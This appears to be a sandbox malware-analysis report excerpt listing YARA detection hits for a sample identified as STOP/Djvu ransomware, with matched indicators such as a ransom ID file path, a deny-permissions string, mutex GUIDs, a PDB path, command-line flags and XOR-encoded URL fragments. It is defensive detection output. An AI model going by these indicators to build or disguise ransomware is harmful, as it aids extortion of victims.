14.2.bE5aaTiJM0.exe.42415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.bE5aaTiJM0.exe.42415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.bE5aaTiJM0.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
12.2.bE5aaTiJM0.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.bE5aaTiJM0.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.bE5aaTiJM0.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.bE5aaTiJM0.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
11.2.bE5aaTiJM0.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.bE5aaTiJM0.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.bE5aaTiJM0.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
11.0.bE5aaTiJM0.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
2.0.bE5aaTiJM0.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.2.bE5aaTiJM0.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.2.bE5aaTiJM0.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.bE5aaTiJM0.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.0.bE5aaTiJM0.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
2.0.bE5aaTiJM0.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.bE5aaTiJM0.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.2.bE5aaTiJM0.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.bE5aaTiJM0.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
